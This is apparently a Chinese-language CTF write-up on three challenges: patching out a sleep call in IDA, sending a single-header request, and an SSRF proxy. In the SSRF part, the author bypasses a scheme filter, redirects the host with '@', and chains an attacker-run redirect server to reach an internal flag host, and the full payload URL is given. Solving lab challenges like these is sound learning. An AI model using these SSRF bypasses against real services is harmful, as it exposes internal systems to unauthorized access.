Reverse
time_GEM
tag : rev,easy
I used the Time GEM to put the flag to sleep...主要的考點是 patch (所以出的像是 AIS3 某一題)
先來執行看看:
soar@universe:/mnt/c/Users/tusoar/Downloads$ ./time_gem_revI used the Time GEM to put the flag to sleep...Hope you can wake it up!------------------------------splitline!-----------------------------------T恩…輸出一個 T 就停住了 來拖進 IDA 看一下
int __fastcall main(int argc, const char **argv, const char **envp){ puts("I used the Time GEM to put the flag to sleep..."); puts("Hope you can wake it up!"); puts("------------------------------splitline!-----------------------------------"); time_gem("------------------------------splitline!-----------------------------------", argv); return 0;}time_gem
unsigned __int64 power(){ void *v0; // rsp __int64 v2; // [rsp+8h] [rbp-160h] BYREF int i; // [rsp+10h] [rbp-158h] int v4; // [rsp+14h] [rbp-154h] int v5; // [rsp+18h] [rbp-150h] int v6; // [rsp+1Ch] [rbp-14Ch] char *s; // [rsp+20h] [rbp-148h] __int64 v8; // [rsp+28h] [rbp-140h] __int64 *v9; // [rsp+30h] [rbp-138h] _BYTE v10[280]; // [rsp+38h] [rbp-130h] BYREF unsigned __int64 v11; // [rsp+150h] [rbp-18h]
v11 = __readfsqword(0x28u); qmemcpy(v10, &unk_2060, 0x10CuLL); v4 = 67; s = "THJCCISSOGOODIMNOTTHEFLAG!!!"; v8 = 67LL; v0 = alloca(80LL); v9 = &v2; v5 = strlen("THJCCISSOGOODIMNOTTHEFLAG!!!"); for ( i = 0; i < v4; ++i ) { v6 = s[i % v5] ^ (i % 256); *((_BYTE *)v9 + i) = v6 ^ v10[4 * i]; printf("%c\n", (unsigned int)*((char *)v9 + i)); sleep(0x1337u); } return v11 - __readfsqword(0x28u);}可以看到他對資料進行的某些操作,並會把他一個一個字元的印出來 (猜測是 FLAG) 但他在每個字元做完後會睡 0x1337 秒
這時候我們可以善用 IDA 的 patch 功能,把睡的秒數用掉就好了
先打開組語視窗並找到要呼叫 _sleep 那邊,可以看到

1337h 就是要睡的秒數
這邊我是用 Edit -> Patch program -> Assemble

改成 0h 後按 OK

最後按 Edit -> Patch program -> Apply patches to input file...
再去執行一次程式後就看到 FLAG 跑出來了~
soar@universe:/mnt/c/Users/tusoar/Downloads$ ./time_gem_revI used the Time GEM to put the flag to sleep...Hope you can wake it up!------------------------------splitline!-----------------------------------THJCC{H0w_I_enVY_4Nd_W15H_re4L17Y_k0uLd_4L50_k0N7R0l_TIME-->=.=!!!}或是你可以硬逆回來也不是不行
THJCC{H0w_I_enVY_4Nd_W15H_re4L17Y_k0uLd_4L50_k0N7R0l_TIME—>=.=!!!}
Web
Headless
tag : web,easy
I think robots are headless, but you are a real human, right?觀察一下,是個甚麼都沒有的網頁,但題目有提示你要去 robots.txt 裡面有個 /hum4n-0nLy 的 route
進去之後會發現它其實是這題的 source code:
from flask import Flask, request, render_template, Responsefrom flag import FLAG
app = Flask(__name__)
@app.route('/')def index(): return render_template('index.html')
@app.route('/robots.txt')def noindex(): r = Response( response="User-Agent: *\nDisallow: /hum4n-0nLy\n", status=200, mimetype="text/plain" ) r.headers["Content-Type"] = "text/plain; charset=utf-8" return r
@app.route('/hum4n-0nLy')def source_code(): return open(__file__).read()
@app.route('/r0b07-0Nly-9e925dc2d11970c33393990e93664e9d')def secret_flag(): if len(request.headers) > 1: return "I'm sure robots are headless, but you are not a robot, right?" return FLAG
if __name__ == '__main__': app.run(host='0.0.0.0', port=80, debug=False)有個 /r0b07-0Nly-9e925dc2d11970c33393990e93664e9d 可以獲得 FLAG,但請求標頭不能大於一,這邊可以用很多方法送 curl,nc,burp suite… 都可以!
這邊示範用 burp suite 送

唯一的坑點應該就是如果你用 burp suite 送,最後那邊應該要兩個 \r\n 不然會卡住
THJCC{Rob0t_r=@lways_he@dl3ss…}
proxy | under_development
tag : web,hard
More verification! More features!
Bypass the impossible verification logic and try to fetch secret.flag.thjcc.tw/flag to get the FLAG!沒錯,流量轉發到別人家的題目又來了
上次說要出 revenge 後原本想找 1day 來出,但發現這樣好像不太好玩,所以這題就變成各種玩 url 的小花招 (如果你平常很閒沒事一直玩 url 應該很快就可以解出來)
先來看 source code:
const express = require('express');const http = require('http');const https = require('https');const path = require('path');const urlModule = require('url');const dns = require('dns');const { http: followHttp, https: followHttps } = require('follow-redirects');
const app = express();app.use(express.json());app.use(express.static(path.join(__dirname, 'public')));
app.get('/', (req, res) => { res.sendFile(path.join(__dirname, 'public', 'index.html'));});
function CheckSeheme(scheme) { return scheme.startsWith('http://') || scheme.startsWith('https://');}
app.get('/fetch', (req, res) => { const scheme = req.query.scheme; const host = req.query.host; const path = req.query.path; if (!scheme || !host || !path) { return res.status(400).send('Missing parameters'); } const client = scheme.startsWith('https') ? followHttps : followHttp; const fixedhost = 'extra-' + host + '.cggc.chummy.tw';
if (CheckSeheme(scheme.toLocaleLowerCase().trim())) { return res.send('Development in progress! Service temporarily unavailable!'); }
const url = scheme + fixedhost + path; const parsedUrl = new urlModule.URL(url);
dns.lookup(parsedUrl.hostname, { timeout: 3000 }, (err, address, family) => { if (err) { console.log('DNS lookup failed!'); } if (address == '172.32.0.20') { return res.status(403).send('Sorry, I cannot access this host'); } });
if (parsedUrl.hostname.length < 13) { return res.status(403).send('My host definitely more than 13 characters, Evil url go away!'); }
client.get(url, (response) => { let data = '';
response.on('data', (chunk) => { data += chunk; });
response.on('end', () => { res.send(data); }); }).on('error', (err) => { res.status(500).send('Failed to fetch data from the URL'); });});
app.listen(3000, '0.0.0.0', () => { console.log('Server running on http://0.0.0.0:3000');});目標是戳到 secret.flag.thjcc.tw/flag 但有幾關要繞 指定 domain 的部分一樣可以用 @ 去繞
但這次要克服更多的關卡
- 首先是 scheme 的問題
function CheckSeheme(scheme) { return scheme.startsWith('http://') || scheme.startsWith('https://');}
const fixedhost = 'extra-' + host + '.cggc.chummy.tw';
if (CheckSeheme(scheme.toLocaleLowerCase().trim())) { return res.send('Development in progress! Service temporarily unavailable!'); }這次在前面加了前墜,還有過濾大小寫、空格這些限制 但其實 scheme 很寬鬆 你可以給 http:/\, http:/ , http:\\ 甚至不給 /,\ 都是可以的
- 再來是 IP
可以先去看 docker-compose.yml 發現他幫 secret.flag.thjcc.tw 指定了 IP
version: "3.5"
services: secret.flag.thjcc.tw: build: context: ./flag networks: custom_network: ipv4_address: 172.32.0.20
proxy-under_development: build: context: ./src environment: - NODE_ENV=production ports: - 10068:3000/tcp networks: custom_network: ipv4_address: 172.32.0.10
networks: custom_network: driver: bridge ipam: config: - subnet: 172.32.0.0/16接著在這個地方去做檢查,用 dnslookup 解析並限制你的 IP (其實也就是指你不能直接用 secret.flag.thjcc.tw 這個 domain)
dns.lookup(parsedUrl.hostname, { timeout: 3000 }, (err, address, family) => { if (err) { console.log('DNS lookup failed!'); } if (address == '172.32.0.20') { return res.status(403).send('Sorry, I cannot access this host'); } });觀察一下發現這次的 http 多開了 redirect 功能
const { http: followHttp, https: followHttps } = require('follow-redirects');所以你可以自己寫一個網頁讓他訪問,再讓他 redirect 到 secret.flag.thjcc.tw/flag 就好。 ( 對了,如果你這關是 bypass node.js 的 url module 可以來 DM 我,我要跪你
- 這邊示範用 python
from flask import Flask, redirect, url_for
app = Flask(__name__)
@app.route('/')def home(): return redirect("http://secret.flag.thjcc.tw/flag/")
if __name__ == "__main__": app.run(debug=True,host='0.0.0.0',port=48763)寫好網頁後你可以用 VPS, 免費的 ngrok 或是 這個超酷的網站↗ 架起來
沒錯,這段
if (parsedUrl.hostname.length < 13) { return res.status(403).send('My host definitely more than 13 characters, Evil url go away!');}就是禁短網址用的,我不知道還有這種東西 www
- 最後一步了
當你開心的指去 secret.flag.thjcc.tw/flag 時你會收到 I have said the service is temporarily unavailable now! (;′⌒`)
原因是因為 flag/app.js 中有個檢查是:
app.get('/flag', (req, res) => {
if (req.path === '/flag'){ // WTF? return res.send('I have said the service is temporarily unavailable now! (;′⌒`)'); }
if (req.hostname === 'secret.flag.thjcc.tw') return res.send(FLAG); else return res.send('Sorry, you are not allowed to access this page (;′⌒`)');});啥? 請求 flag route 但 request 的 path 又不能是 /flag ???
但我們可以自己實驗一下, req.path 顧名思義就是會存進你整個請求的路徑,所以我們的目標是做出跟 /flag 一樣效果的變種路徑
其實也有很多方法可以寫,像是 /flag/,/flag/meow/../ 等等
把這些想法串在一起送過去就獲得 FLAG 了!
- payload
http://chal.ctf.scint.org:10068/fetch?scheme=http:/\&host=meow&path=@{redirect's url or server}THJCC{--->redirection--->evil-websites--->redirection--->bypass!--->flag!}